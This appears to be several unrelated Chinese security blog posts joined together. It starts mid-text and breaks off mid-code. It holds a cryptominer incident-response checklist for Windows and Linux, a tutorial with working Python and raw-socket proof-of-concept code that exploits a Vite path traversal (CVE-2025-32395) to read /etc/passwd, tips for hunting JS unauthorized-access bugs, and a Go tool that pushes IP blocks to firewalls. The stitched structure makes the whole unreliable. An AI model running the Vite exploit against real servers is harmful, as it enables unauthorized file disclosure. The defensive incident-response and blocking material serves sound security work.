【计算机管理】->【本地用户和组】->【用户】选项，可查看隐藏账户，名称以$结尾的为隐藏账户。

打开 cmd 窗口，输入 lusrmgr.msc 命令，查看是否有新增或可疑的账号。

image-20220221145754460

也可通过D盾查看系统中是否存在影子账户。

  • 计划任务

a、打开控制面板->任务计划，查看计划任务属性，排查异常任务计划。

b、打开 cmd 窗口，然后输入 at，检查计算机与网络上的其它计算机之间的会话或计划任务，如有，则确认是否为正常连接。

  • 进程信息

a、Win+R，输入 msinfo32 命令，依次点击 "软件环境 -- 正在运行任务" 可以查看到进程的详细信息。

b、通过安全分析工具进行排查。

image-20220221150935484

  • 启动项

a、开始->所有程序->启动，默认情况下此目录在是一个空目录，确认是否有非业务程序在该目录下。
b、Win+R，输入 msconfig，查看是否存在命名异常的启动项目，是则取消勾选命名异常的启动项目，并到命令中显示的路径删除文件。
c、Win+R，输入 regedit，打开注册表，查看开机启动项是否正常，检查是否有启动异常的项目。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

d、利用安全软件查看启动项、开机时间管理。

  • 服务

服务也是挖矿病毒常见的守护方式之一，将注册表中服务启动方式写为挖矿病毒主程序，从而达到守护进程目的。

Win+R，输入 services.msc，注意服务状态和启动类型，检查是否有异常服务。

image-20220221152259843

TIPS:除以上方法外还可使用火绒剑、Process Explorer等安全工具进行分析和信息收集。

2.1.2.2 定位

通过[2.1.2.1信息收集](#####2.1.2.1 信息收集) 定位到PID和进程后，再定位挖矿程序文件和目录。

查看进程对应的程序位置

方法1：打开任务管理器，选择对应进程，右键打开文件位置

image-20220221154832558

方法2：Win+R，输入 msinfo32 命令，软件环境->正在运行任务，即可定位到程序的目录信息。

image-20220221150935484

方法3：通过安全分析工具进行定位。

火绒剑->进程->右键进程信息 可直接定位到程序位置，且可查看其命令行参数。

image-20220221161343100

image-20220221161159901

火绒剑->网络 可直接定位到程序位置

image-20220221160838876

TIPS：对于打开文件位置还找不到挖矿文件的情况，则挖矿程序可能被隐藏，可通过配置文件夹选项或通过安全分析工具提取来解决

文件夹选项->查看->高级设置：取消隐藏受保护的操作系统文件、显示隐藏的文件、文件夹和驱动器。

image-20220221155929816

2.1.2.3 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息，通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件，可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220221161946994

image-20220221161856950

2.1.2.4 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连，并且防止挖矿木马进行内网传播。

  • 删除启动项
  • 删除计划任务

Windows：使用SchTasks /Delete /TN [任务名] 删除计划任务。
自启动项可以从以下三点入手：
a、开始->所有程序->【启动
b、系统配置中启动项（win+R->msconfig）
c、注册表查找病毒程序名。

  • 删除服务

Windows中删除服务可从任务管理器中手动删除

也可使用命令：sc stop [服务名称]

停止服务后，使用命令：sc delete [服务名称] 删除服务。

  • 杀死进程

可使用进程管理工具或使用taskkill -PID [进程PID] -F结束恶意进程。

  • 删除文件

Windows中删除时可能存在权限不足等情况，可使用360终端强杀，也可使用进程管理工具强制删除。

  • ...

2.1.3 linux

2.1.3.1 信息收集
  • CPU占用
  • 进程信息
top -c

-c 查看其完整的命令行参数

top默认的排序列是“%CPU”

image-20220221171332677

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu

按照CPU占用显示进程信息

image-20220221173411598

Tips：查看隐藏进程：

ps -ef |awk '{print}' | sort -n|uniq >111
ls /proc|sort -n |uniq >222
diff 111 222
  • 内存信息
top -c -o %MEM

image-20220221173859687

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem

按照内存占用显示进程信息

image-20220221173924470

  • 网络连接
  • 端口
netstat -pantl

-p 显示正在使用Socket的程序识别码和程序名称

-a 显示所有连线中的Socket

-n 直接使用IP地址，而不通过域名服务器

-t 显示TCP传输协议的连线状况

-l 显示监控中的服务器的Socket

image-20220222143038889

  • 计划任务

a、 crontab

# 列出某个用户cron服务的详细内容
crontab -l   
# 使用编辑器编辑当前的crontab文件 
crontab -e

b、anacron

cat /etc/anacrontab
cat /var/spool/anacron/*

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

image-20220222144137157

  • 服务

服务也是挖矿病毒常见的守护方式之一，将注册表中服务启动方式写为挖矿病毒主程序，从而达到守护进程目的。

查询已安装的服务

a、RPM 包安装的服务

# 查看服务自启动状态，可以看到所有的RPM包安装的服务
chkconfig  --list  
# 查看当前服务
ps aux | grep crond

b、源码包安装的服务

检查/etc/rc.d/rc.local

  • 可疑用户

| 命令 | 命令详解 |
| -------------------------------------------------------- | -------------------------------------------------- |
| who | 查看当前登录用户（tty本地登陆 pts远程登录） |
| w | 查看系统信息，想知道某一时刻用户的行为 |
| last | 显示近期用户或终端的登录情况 |
| uptime | 查看登陆多久、多少用户，负载 |
| cat /etc/passwd | 查看用户信息文件 |
| cat /etc/shadow | 查看影子文件 |
| awk -F: '$3==0{print $1}' /etc/passwd | 查看管理员特权用户 |
| awk '/\$1|\$6/{print $1}' /etc/shadow | 查看可以远程登录的用户 |
| cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" | 查看sudo权限的用户(有时攻击者会创建属于自己的用户) |
| cat /etc/passwd \|awk -F: 'length($2)==0 {print $1}' | 查看空口令账户(有时攻击者会将正常账户改为空口令) |

2.1.3.2 定位

通过[2.1.3.1信息收集](#####2.1.3.1 信息收集) 定位到PID和进程后，再定位挖矿程序文件和目录。

方法1：通过top -c命令，可以看到可疑进程的完整目录信息和参数，从而定位到挖矿文件及目录

image-20220222145155602

方法2：通过以下命令，定位到挖矿文件位置

lsof -p pid

image-20220222145556700

systemctl status pid`

image-20220222145707526

ls -al /proc/`pid`/exe

image-20220222153053710

2.1.3.4 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息，通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件，可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220222153152087

2.1.3.5 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连，并且防止挖矿木马进行内网传播。

  • 删除计划任务

crontab -e 删除对应的恶意计划任务

删除存在以下目录的恶意计划任务

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
  • 删除启动项

删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项

  • 删除服务

Linux中服务清除：sudo update-rc.d [服务名称] remove

  • 进程查杀

查看是否存在子进程

ps ajfx
systemctl status

若无子进程，直接kill -9 pid

若有子进程，使用kill -9 -pid 杀死进程组

  • 删除文件

查看文件占用

lsof `文件名`

image-20220222154208994

若在进程查杀后仍有文件占用，则该进程可能是恶意进程，需继续重复之前步骤再次排查。

无进程占用，直接使用rm命令删除恶意文件

rm -rf [恶意文件绝对路径]

Tips：

若出现 rm: cannot remove ‘文件名’: Operation not permitted. 错误，则攻击者可能给文件添加了 a 和 i 的权限导致文件无法删除，可使用 lsattr 查看文件权限：

lsattr [文件名]

使用 chattr -i [文件名] 或 chattr -a [文件名] 修改文件权限，再用 rm 命令删除：

chattr -i [文件名]
chattr -a [文件名]
rm -rf [文件名]

image-20220222155248847

2.2 其他事件处理流程

若非挖矿事件，按照其他事件处理流程处置。

0x03 样本分析

3.1 备份挖矿程序

对于发现的恶意文件和目录应及时备份，为后续分析做准备。

Tips： 对于同系统文件一定要打包后再备份，防止发生二次感染。

a、Linux：

  • 使用 scp 命令：
scp -P 22 user@127.0.0.1:/usr/local/target /home/aaa

其中：

  • -P 指定SSH端口

  • 从远程服务器将 target 文件下载到本地的 /home/aaa

  • 使用 Xshell、FinalShell、MobaXterm 等集成工具。

b、Windows：

  • 通过 RDP 3389 复制粘贴。
  • 使用向日葵、ToDesk 等远程工具。
  • 使用SMB共享服务传输。
  • ...

3.2 云沙箱分析

对可疑文件可先通过云沙箱在线分析，常用的云沙箱包括：

3.3 专家分析

对云沙箱无法分析或分析不全时，可请求安全专家进行分析。

0x04 溯源攻击

溯源攻击是挖矿病毒应急响应的重要环节，以下是常规溯源流程：

  1. 确定攻击入口：


    • 检查系统日志、安全设备日志（如防火墙、IDS/IPS等）。
    • 分析网络流量，定位可疑IP地址或域名。
    • 检查系统是否存在未修复的漏洞或弱密码。

  2. 分析攻击手法：


    • 通过样本分析确定挖矿病毒的类型和传播方式。
    • 检查是否有横向移动的痕迹，如内网扫描、横向传播等。

  3. 确定攻击者身份：


    • 通过IP地址、域名等线索，结合威胁情报，确定攻击者身份。
    • 分析攻击者的C2服务器，追踪其活动轨迹。

  4. 总结攻击过程：


    • 绘制攻击流程图，还原攻击者入侵路径。
    • 撰写溯源报告，记录攻击细节和处置过程。

0x05 附录

5.1 常见挖矿病毒类型

| 类型 | 特征 |
| -------------- | ------------------------------------------------------------ |
| XMRig | 使用CPU挖矿，常见于Linux系统，配置文件通常为 config.json。 |
| MinerGate | 支持多种加密货币，常见于Windows系统，会创建大量进程。 |
| Claymore | 主要用于以太坊挖矿，常见于GPU挖矿，会生成大量日志文件。 |
| 门罗币挖矿病毒 | 使用XMRig或类似工具，常见于Web服务器，通过Web漏洞传播。 |
| 蠕虫类挖矿病毒 | 具有横向传播能力，通过弱密码或漏洞在内网传播。 |

5.2 常见挖矿病毒传播方式

| 传播方式 | 描述 |
| ------------ | ---------------------------------------------- |
| 弱密码爆破 | 通过SSH、RDP等服务的弱密码进行传播。 |
| Web漏洞利用 | 通过Web应用漏洞（如Struts2、ThinkPHP等）传播。 |
| 恶意邮件 | 通过钓鱼邮件传播，附件中包含挖矿程序。 |
| 横向移动 | 通过内网扫描和漏洞利用，感染其他主机。 |
| 供应链攻击 | 通过第三方软件或更新包传播挖矿病毒。 |

5.3 加固建议

  1. 系统加固：


    • 及时更新系统和软件补丁，修复已知漏洞。
    • 禁用不必要的服务和端口，减少攻击面。
    • 使用强密码策略，避免弱密码。

  2. 网络加固：


    • 部署防火墙和IDS/IPS，监控异常流量。
    • 限制外部访问，仅开放必要的端口和服务。
    • 使用VPN等安全通道访问内网。

  3. 安全监控：


    • 部署安全监控系统，实时监控系统资源使用情况。
    • 定期检查系统日志，发现异常及时处置。
    • 使用威胁情报平台，及时获取最新的攻击信息。

  4. 备份与恢复：


    • 定期备份重要数据，确保数据安全。
    • 制定应急响应预案，确保快速恢复业务。

5.4 参考工具

| 工具名称 | 用途 |
| ----------------------------- | ---------------------------------------- |
| Wireshark | 网络流量分析工具，用于分析异常流量。 |
| Process Explorer | 进程管理工具，用于分析可疑进程。 |
| Sysinternals Suite | 系统分析工具集，用于分析系统行为和进程。 |
| VirusTotal | 在线病毒扫描工具，用于分析可疑文件。 |
| Threat Intelligence Platforms | 威胁情报平台，用于获取最新的攻击信息。 |

以上为清理病毒程序方式，后续还需使用终端杀毒对系统进行全面杀毒及加固，并观察是否还有反复迹象。

一切以挖矿木马不再重启，不存在可疑外连为止。

一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞，通过该漏洞我们来学习一下
通过我们用python写POC的时候，我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候，我们就是能够正常把这个路径发出去的，我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的，接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候，用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw"，"/../../"在requests中会被吞噬掉，导致我们无法完成利用，这也是在写POC中经常不注意到的一个点，明明手工利用的是时候可以利用，怎么写脚本的时候不行呢，这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径，我们还是得用python来实现时怎么实现呢，干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包，经过bp后发送出去的包也是会被吞噬掉“/../../"，我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#，我们用刚才的两种方式发包测试一下

    方式1：
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2：
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下，抓到的包的路径都变成了/@fs/root/vite-project，"/#/../../../../../etc/passwd"这个路径都丢失了，这是因为根据 RFC 3986 标准，# 在 URL 中定义为 片段标识符（Fragment），浏览器和 HTTP 客户端库（如 requests）会默认将其后的内容截断，不会发送到服务端，这意味着：若 # 不编码，其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了，绕过 HTTP 协议限制，使用原始 Socket 控制：直接通过 socket 库发送字节流，避免高级 HTTP 库（如 urllib2 或 requests）自动处理 #

通过wireshark抓包，看下我们的路径已经完整发出去了，服务器也能完成处理

2401X357/image.png

通过回显，我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么，大家一起共同进步

0x1 前言

哈喽，师傅们！

这次又来给师傅们分享我的文章心得了呦，这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总，然后也是会给师傅们分享几个案例，带师傅们更加深刻的理解和看的懂这个js未授权，然后再带师傅们去挖这个漏洞，从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞，然后针对于FindSomething插件工具的使用来做一个分享，让师傅们对呀FindSomething插件的使用更加娴熟，能够更好的利用这个插件，然后让师傅们挖出属于自己的第一个js未授权漏洞！

0x2 js未授权简介

一、什么是未授权？

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权，对于正常的业务来说，有些功能点需要经过登录之后才能进行，那么如果我们通过一些绕过，无需登录也可以完成此类操作，那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种：

  1. 组件类的，如js未授权、redis未授权、mongodb未授权等，也是比较常见的。对于此类漏洞，可以理解为不需要登录即可执行里面的功能，所以存在未授权漏洞。
  2. WEB层面的，如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作，所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站，这只是一种思路，通过信息收集来实现登录绕过，从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过，前提是不知道网站代码的判断情况下，可以尝试猜解返回值。如果网站后端认证做好了，是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候，喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路，就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开，然后把里面的泄露的路径进行拼接使用，然后直接拿bp进行POST/GET方法都进行跑一遍，然后再看看有没有什么js路径拼接，然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现，怎么还是没跑出什么东西来，然后就这样觉得这个js路径很安全，没有漏洞，直接下了

Google插件FindSomething下载链接：https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息，特别是隐藏的一些信息，也就是UI中没有的，这些隐藏的 接口很有可能存在各种常见的漏洞，例如越权，未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参，就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口，是不是可以看到存在一个id参数，那么你要是直接把这个复制下来，然后去使用bp跑，是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口，findsomething显示出来的接口，一个?id=xxx的一个参数，像碰到这样的，我们是不是得提前进行一个数据的处理，然后再放到bp去跑接口，才会最大可能性让你找到一些敏感信息泄露的接口，这样就是有些师傅挖不到js未授权的漏洞，但是有些师傅却可以的原因之一了

还有下面的这种情况，就是跑js路径的时候，需要我们注意前面是否有前缀

像上面的存在一个#的路径，建议是师傅们单独把这些js路径给拿出来，进行一个手动拼接尝试看看未授权，或者说要爆破，那也得把这个/#/这个给带上，然后再进行一个爆破，下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面，然后进行替换如下：

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候，有时候不传参，或者在参数置空，发包的时候，对方服务器返回的请求是500的时候，那么有时候使用下面的参数进行一个传参，把这个给加上去，那么有时候会有一个不一样的效果，有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配，直接使用bp中的hae插件，把下面的规则直接导入到bp插件hae中，或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了，希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中，这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲，特别是针对小白师傅们是非常友好的，也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘，这样可以让师傅们更加掌握这个技能，也是希望师傅们偶尔挖挖漏洞，然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行承担！

前言

最近刚结束了一个HVV蓝队，比较头疼，甲方内部设备简直太多了，目前各个大厂都是这么玩儿的，本地MSS不好好适配不同厂家的产品，弹起来适配的问题最好的借口就是需要开发介入调整适配，不单单是在适配不同厂商的防火墙上扯皮还是在适配不同厂商探针上同样扯皮，有这扯皮功夫还不如直接写个工具一键封禁得了。其实就目前防守状态来讲，通过告警事件联动不同区域的防火墙这种技术手段太简单了，本地MSS在态感的基础上优化剧本再加上GPT介入研判已经基本上可以解决绝大部分的告警攻击了，可能目前唯一的问题可能就是出现在厂商态感底层告警逻辑上，目前探针获取的流量也只能获取非SSL流量，不做SSL卸载或者SSL证书解密的话一部分告警是无法获取的，另外常见的横向行为和隐藏流量也只能基于厂商设备底层逻辑或者剧本编排。

这次的工具功能是封禁共享情报的ip，或者是基于不同边界的不同品牌的防火墙和WAF的封禁。

下载地址：

功能介绍

  • 支持多种防火墙设备统一管理(H3C,QAX,SXF,山石，K01,DP等)
  • 网防K01提供黑名单批量查询、添加、删除功能
  • 支持 IP 规则化、过滤、清洗等功能
  • 界面简洁，操作便捷，可以选择性的根据不同的情报源头选择不同边界的设备进行封禁
  • 关于产品型号可支持大部分型号，除网防K01外其它产品封禁实现原理是基于添加地址到地址簿，封禁策略需手动处理

工具介绍和代码逻辑

配置文件

配置文件存放在config/config.json中，需要提前配置json文件，负责无法使用程序。这里关于config的文件内容务必按照格式规则设置，否则无法解析。

DP防火墙

DP防火墙的登录方式是telnet，逻辑是通过添加ip地址进入地址簿，添加ip地址

package devices

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type DPConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToDP(cfg DPConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 DP 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址！"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令：用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里没有直接使用回显显示状态，没有监听服务器回显状态再输入命令，具体使用该方式是新增一个地址簿，再策略位置设置封禁策略，引用添加的地址簿即可。界面效果

H3c防火墙

采用ssh登录使用命令操作

package devices

import (
	"fmt"
	"strings"
	"time"

	"golang.org/x/crypto/ssh"
)

func AddIPsToH3C(cfg H3CConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 H3C 设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动 shell 失败: %v\n", err)
	}

	commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(300 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里采用了监听回显，核心代码是

commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

当然这里可以增加优化，代码内关于ip地址的添加以及删除等操作都可以做，工具后期可以依托命令功能增加多个模块化设计，当然为了降低操作风险的话，这里黑名单封禁的操作足够使用了。

山石防火墙

山石登录方式是telnet登录使用命令操作

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type HSConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToHillstone(cfg HSConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 Hillstone 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址！"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令：用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

山石防火墙的命令基本和华三防火墙的命令基本一致，目前基本上可以支持大多数版本型号的防火墙，使用前可以做测试。

网盾K01

网盾K01的话这里采用的是关于api的利用，目前关于网盾K01的黑名单添加的模式是和防火墙不一致的，可以采用接口的方式增加。目前代码中关于黑名单添加的事件设置的是3600小时。

// 批量封禁
func AddBlacklist(devices []K01Device, ips []string, output *widget.Entry) {
	for _, device := range devices {
		appendOutput(output, fmt.Sprintf("🔑 正在登录设备 [https://%s]...", device.IP))

		// 登录并获取 Token
		url := fmt.Sprintf("https://%s", device.IP)
		token := Login(url, device.Username, device.Password, output, device.Name)
		if token == "" {
			appendOutput(output, fmt.Sprintf("❌ 登录失败: %s", device.Name))
			continue
		}

		// 逐个 IP 添加到黑名单
		for _, ip := range ips {
			// 如果 IP 地址没有 CIDR 后缀，添加 "/32"
			if !strings.Contains(ip, "/") {
				ip += "/32"
			}

			// 打印调试日志，确认每个 IP 地址
			appendOutput(output, fmt.Sprintf("🔍 封禁 IP: %s", ip))

			// 准备请求 payload
			payload := map[string]interface{}{
				"color":       0,
				"device_mask": []int{224},
				"items": []map[string]interface{}{
					{
						"type":        0,
						"ip":          ip, // 这里单独封禁每个 IP 地址
						"timeout":     336,
						"time_type":   "3600",
						"device_mask": []int{224},
						"comment":     "自动封禁",
					},
				},
				"method": "add",
			}

			// 打印调试日志，确认请求 Payload
			payloadBytes, _ := json.Marshal(payload)
			// appendOutput(output, fmt.Sprintf("🔍 请求 Payload: %s", string(payloadBytes)))

			// 请求封禁
			req, err := http.NewRequest("POST", url+"/api/v1/security/iplist/save", bytes.NewBuffer(payloadBytes))
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 创建封禁请求失败: %s", err.Error()))
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 执行请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 封禁请求失败: %s", err.Error()))
				continue
			}
			defer resp.Body.Close()

			// // 打印调试日志，确认响应代码
			// appendOutput(output, fmt.Sprintf("🔍 响应状态: %s", resp.Status))

			// 解析响应
			body, _ := ioutil.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(output, fmt.Sprintf("❌ 解析封禁响应失败: %s", err.Error()))
				continue
			}

			// // 打印调试日志，确认响应结果
			// appendOutput(output, fmt.Sprintf("🔍 响应结果: %v", result))

			// 根据结果显示成功或失败
			if success, ok := result["success"].(bool); ok && success {
